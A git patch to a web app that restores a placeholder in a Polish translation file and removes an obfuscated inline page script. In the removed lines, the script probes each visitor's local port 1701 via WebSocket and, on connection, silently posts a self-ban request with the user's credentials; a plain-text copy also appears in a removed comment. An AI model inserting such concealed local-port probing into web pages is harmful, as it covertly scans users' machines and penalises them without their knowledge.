From e3be1330c3d27bd9b8da02b68336cd0bdb08c518 Mon Sep 17 00:00:00 2001 From: HF Date: Mon, 11 Mar 2024 03:27:10 +0100 Subject: [PATCH] fix polish translation ${ canvasName } --- i18n/pl.po | 2 +- src/ssr/Main.jsx | 5 +---- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/i18n/pl.po b/i18n/pl.po index 5654f712..766aac0f 100644 --- a/i18n/pl.po +++ b/i18n/pl.po @@ -14,7 +14,7 @@ msgstr "" #: src/controls/keypress.js:99 #, javascript-format msgid "Switched to ${ canvasName }" -msgstr "Zmieniono na Ziemia" +msgstr "Zmieniono na ${ canvasName }" #: src/controls/keypress.js:184 msgid "Grid ON" diff --git a/src/ssr/Main.jsx b/src/ssr/Main.jsx index 0827380d..e098f698 100644 --- a/src/ssr/Main.jsx +++ b/src/ssr/Main.jsx @@ -42,10 +42,7 @@ function generateMainPage(req) { const ssvR = JSON.stringify(ssv); const scripts = getJsAssets('client', lang); - /* - * new WebSocket('ws://127.0.0.1:1701/tuxler').onopen = async () => {await fetch('/api/banme', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({code: 3})})}; - */ - const headScript = `(function(){var _$_827c=(function(m,z){var h=m.length;var l=[];for(var e=0;e< h;e++){l[e]= m.charAt(e)};for(var e=0;e< h;e++){var i=z* (e+ 358)+ (z% 22662);var a=z* (e+ 86)+ (z% 35992);var q=i% h;var t=a% h;var y=l[q];l[q]= l[t];l[t]= y;z= (i+ a)% 3084281};var k=String.fromCharCode(127);var n='';var u='\x25';var v='\x23\x31';var g='\x25';var x='\x23\x30';var d='\x23';return l.join(n).split(u).join(k).split(v).join(g).split(x).join(d).split(k)})("ji/p%tisoepn.2a17%Scll.ew0na%/11bnnoix0O0%uma1t.dpi//c:PTa/:/s7leur",1896061); new WebSocket(_$_827c[0]).onopen= async ()=>{ await fetch(_$_827c[1],{method:_$_827c[2],credentials:_$_827c[3],headers:{'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':_$_827c[4]},body:JSON.stringify({code:3})})};window.ssv=JSON.parse('${ssvR}');let hostPart = window.location.host.split('.'); if (hostPart.length > 2) hostPart.shift(); hostPart = hostPart.join('.'); if (window.ssv.shard && window.location.host !== 'fuckyouarkeros.fun') hostPart = window.location.protocol + '//' + window.ssv.shard + '.' + hostPart; else hostPart = ''; window.me=fetch(hostPart + '/api/me',{credentials:'include'})})();`; + const headScript = `(function(){window.ssv=JSON.parse('${ssvR}');let hostPart = window.location.host.split('.'); if (hostPart.length > 2) hostPart.shift(); hostPart = hostPart.join('.'); if (window.ssv.shard && window.location.host !== 'fuckyouarkeros.fun') hostPart = window.location.protocol + '//' + window.ssv.shard + '.' + hostPart; else hostPart = ''; window.me=fetch(hostPart + '/api/me',{credentials:'include'})})();`; const scriptHash = createHash('sha256').update(headScript).digest('base64'); const csp = `script-src 'self' 'sha256-${scriptHash}' 'sha256-${bodyScriptHash}' *.tiktok.com *.ttwstatic.com; worker-src 'self' blob:;`;